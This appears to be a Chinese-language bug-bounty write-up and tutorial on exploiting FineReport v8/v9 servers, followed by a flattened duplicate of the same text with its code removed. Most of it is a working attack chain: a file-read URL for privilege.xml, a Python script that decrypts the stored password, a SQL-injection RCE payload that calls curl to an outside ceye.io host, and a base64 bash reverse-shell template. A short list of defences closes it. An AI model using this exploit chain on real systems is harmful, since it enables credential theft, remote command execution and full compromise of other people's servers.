记录一次SRC挖掘经历
字数 1192 2025-08-29 08:31:54

帆软报表(FineReport)漏洞挖掘与利用教学文档

一、资产发现与信息收集

1.1 子域名发现

使用Google搜索语法:

site:xxx.com -www

通过该语法可以发现目标域名的所有子域名,排除www主站。

1.2 真实IP获取

在访问网站时,观察点击"电信"、"网通"、"自动"等选项时的域名跳转行为,可能会暴露真实IP地址。

1.3 端口扫描与目录扫描

获取真实IP后,进行:

  • 全端口扫描
  • 目录扫描
    常见发现端口:8080端口可能存在ReportServe部署页面

二、漏洞利用链

2.1 任意文件读取漏洞

漏洞URL

http://xxx.xxx.xxx.xxx:8080/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml

特点

  • 直接访问可能显示空白页,需要查看页面源代码才能获取信息
  • 可读取服务器上的敏感文件(如privilege.xml)

2.2 密码解密

从文件中获取的密文格式示例:

___0022007c0039003b005100e3

解密脚本(Python)

cipher = '___0022007c0039003b005100e3'  # 密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23]  # 掩码

Password = ""
cipher = cipher[3:]  # 截断前三位

for i in range(int(len(cipher)/4)):
    c1 = int("0x" + cipher[i*4:(i+1)*4], 16)
    c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
    Password = Password + chr(c2)

print(Password)  # 输出解密后的密码

解密步骤

  1. 去除密文前三个字符
  2. 每4个字符为一组转换为16进制整数
  3. 与PASSWORD_MASK_ARRAY进行异或运算
  4. 将结果转换为ASCII字符

2.3 后台登录

使用解密得到的密码(如"123456")登录数据决策系统后台。

三、远程命令执行漏洞

3.1 漏洞信息

影响版本

  • 帆软报表 FineReport v8.0
  • 帆软报表 FineReport v9.0

漏洞URL

http://xxx.xxx.xxx.xxx:8080/ReportServer?op=fr_log&cmd=fg_errinfo&fr_username=posun

(需要将username参数改为已知的有效用户名)

3.2 漏洞验证(POC)

步骤

  1. 访问漏洞URL
  2. 点击"查询"按钮并拦截请求(Burp Suite)
  3. 替换POST数据为:
{
    "__parameters__": {
        "LABEL1": "TYPE:",
        "TYPE": "6;CREATE ALIAS RUMCMD FOR \"com.fr.chart.phantom.system.SystemServiceUtils.exeCmd\";CALL RUMCMD('curl http://uki7s7.ceye.io');select msg, trace, sinfo, logtime from fr_errrecord where 1=1",
        "LABEL3": "START_TIME:",
        "START_TIME": "2020-08-11 00:00",
        "LABEL5": "END_TIME:",
        "END_TIME": "2020-08-11 16:41",
        "LABEL7": "LIMIT:",
        "LIMIT": 2
    }
}

关键点

  • TYPE参数中包含恶意SQL语句
  • 创建别名RUMCMD调用系统命令执行功能
  • 使用curl测试外连,验证漏洞存在

3.3 反弹Shell

步骤

  1. 准备Base64编码的反弹Shell命令:
bash -c {echo,base64编码}|{base64,-d}|{bash,-i}
  1. 在VPS上监听指定端口(如7777)
  2. 将上述命令替换到POC的TYPE参数中执行

注意事项

  • 查询操作不能太频繁,容易触发并发数限制
  • 需要等待一段时间(可能一天)并发数才会重置
  • 目标系统可能有防护机制,需谨慎操作

四、漏洞组合利用思路

  1. 通过信息收集发现目标系统
  2. 利用任意文件读取获取凭证
  3. 解密凭证后尝试登录后台
  4. 若后台功能受限,转向未授权RCE漏洞
  5. 组合利用多个漏洞提升危害等级

五、防御建议

  1. 及时升级帆软报表到最新版本
  2. 限制敏感文件(如privilege.xml)的访问权限
  3. 加强密码加密机制,避免使用固定掩码
  4. 对用户输入进行严格过滤,防止SQL注入
  5. 限制系统命令执行功能
  6. 设置合理的并发请求限制

六、总结

本教学文档详细介绍了帆软报表(FineReport)系统的漏洞挖掘与利用方法,包括信息收集、任意文件读取、密码解密、远程命令执行等关键技术点。通过组合利用多个漏洞,可以实现从信息泄露到系统完全控制的全过程。在实际渗透测试中,需要注意操作频率和系统防护机制,避免触发安全警报。

帆软报表(FineReport)漏洞挖掘与利用教学文档 一、资产发现与信息收集 1.1 子域名发现 使用Google搜索语法: 通过该语法可以发现目标域名的所有子域名,排除www主站。 1.2 真实IP获取 在访问网站时,观察点击"电信"、"网通"、"自动"等选项时的域名跳转行为,可能会暴露真实IP地址。 1.3 端口扫描与目录扫描 获取真实IP后,进行: 全端口扫描 目录扫描 常见发现端口:8080端口可能存在ReportServe部署页面 二、漏洞利用链 2.1 任意文件读取漏洞 漏洞URL : 特点 : 直接访问可能显示空白页,需要查看页面源代码才能获取信息 可读取服务器上的敏感文件(如privilege.xml) 2.2 密码解密 从文件中获取的密文格式示例: 解密脚本(Python) : 解密步骤 : 去除密文前三个字符 每4个字符为一组转换为16进制整数 与PASSWORD_ MASK_ ARRAY进行异或运算 将结果转换为ASCII字符 2.3 后台登录 使用解密得到的密码(如"123456")登录数据决策系统后台。 三、远程命令执行漏洞 3.1 漏洞信息 影响版本 : 帆软报表 FineReport v8.0 帆软报表 FineReport v9.0 漏洞URL : (需要将username参数改为已知的有效用户名) 3.2 漏洞验证(POC) 步骤 : 访问漏洞URL 点击"查询"按钮并拦截请求(Burp Suite) 替换POST数据为: 关键点 : TYPE 参数中包含恶意SQL语句 创建别名 RUMCMD 调用系统命令执行功能 使用 curl 测试外连,验证漏洞存在 3.3 反弹Shell 步骤 : 准备Base64编码的反弹Shell命令: 在VPS上监听指定端口(如7777) 将上述命令替换到POC的 TYPE 参数中执行 注意事项 : 查询操作不能太频繁,容易触发并发数限制 需要等待一段时间(可能一天)并发数才会重置 目标系统可能有防护机制,需谨慎操作 四、漏洞组合利用思路 通过信息收集发现目标系统 利用任意文件读取获取凭证 解密凭证后尝试登录后台 若后台功能受限,转向未授权RCE漏洞 组合利用多个漏洞提升危害等级 五、防御建议 及时升级帆软报表到最新版本 限制敏感文件(如privilege.xml)的访问权限 加强密码加密机制,避免使用固定掩码 对用户输入进行严格过滤,防止SQL注入 限制系统命令执行功能 设置合理的并发请求限制 六、总结 本教学文档详细介绍了帆软报表(FineReport)系统的漏洞挖掘与利用方法,包括信息收集、任意文件读取、密码解密、远程命令执行等关键技术点。通过组合利用多个漏洞,可以实现从信息泄露到系统完全控制的全过程。在实际渗透测试中,需要注意操作频率和系统防护机制,避免触发安全警报。